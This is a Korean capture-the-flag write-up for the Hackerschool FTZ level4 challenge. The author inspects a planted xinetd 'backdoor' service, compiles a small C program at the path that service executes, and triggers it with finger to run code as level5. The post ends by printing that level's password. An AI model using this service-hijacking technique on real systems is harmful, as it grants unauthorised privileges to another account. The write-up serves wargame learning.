본문 바로가기

System Hacking/해커스쿨 FTZ

해커스쿨 FTZ ( level4 -> level5 ) by ORANG


FTZ_level4

 

힌트를 확인해보겠습니다!

 [level4@ftz level4]$ ls

hint  public_html  tmp

[level4@ftz level4]$ cat hint

 

누군가 /etc/xinetd.d/에 백도어를 심어놓았다.! 

 

확인해보니 이름부터 backdoor 라고 되있네요ㅋㅋ

 [level4@ftz level4]$ ls /etc/xinetd.d

backdoor     daytime      echo-udp  rexec   rsync     sgi_fam  time

chargen      daytime-udp  finger    rlogin  servers   talk     time-udp

chargen-udp  echo         ntalk     rsh     services  telnet

[level4@ftz level4]$ ls -l /etc/xinetd.d/backdoor

-r--r--r--    1 root     level4        171  6월  5 08:46 /etc/xinetd.d/backdoor

 

내용을 확인해보면..

 [level4@ftz level4]$ cat /etc/xinetd.d/backdoor

service finger

{

disable = no

flags = REUSE

socket_type = stream

wait = no

user = level5

server = /home/level4/tmp/backdoor

log_on_failure += USERID

}

 

필요한 부분만 보면, finger라는 서비스를 통해 level5의 유저권한으로

/home/level4/tmp/backdoor라는 서버파일을 실행하는 것이군요ㅎㅎ

먼저 finger의 사용법을 확인해보겠습니다.

 level4@ftz level4]$ man finger

…생략

          SYNOPSIS

               finger [-lmsp] [user ...] [user@host ...]

 

user의 정보를 얻어오는 명령어 라고 하네요

finger user@host -> level5권한으로 /home/level4/tmp/backdoor 실행 .. 이 되겠네요

/home/level4/tmp에 필요한 backdoor파일을 만들도록 하겠습니다.

 [level4@ftz level4]$ cd tmp

[level4@ftz tmp]$ echo ' int main(){ system("my-pass"); }' > backdoor.c

[level4@ftz tmp]$ gcc backdoor.c -o backdoor

[level4@ftz tmp]$ ls

backdoor  backdoor.c

 

my-pass을 실행하는 backdoor 파일을 만들었습니다. 이제 finger를 통해 실행해보면..

 [level4@ftz tmp]$ finger level4@localhost

^[[H^[[J

Level5 Password is "what is your name?".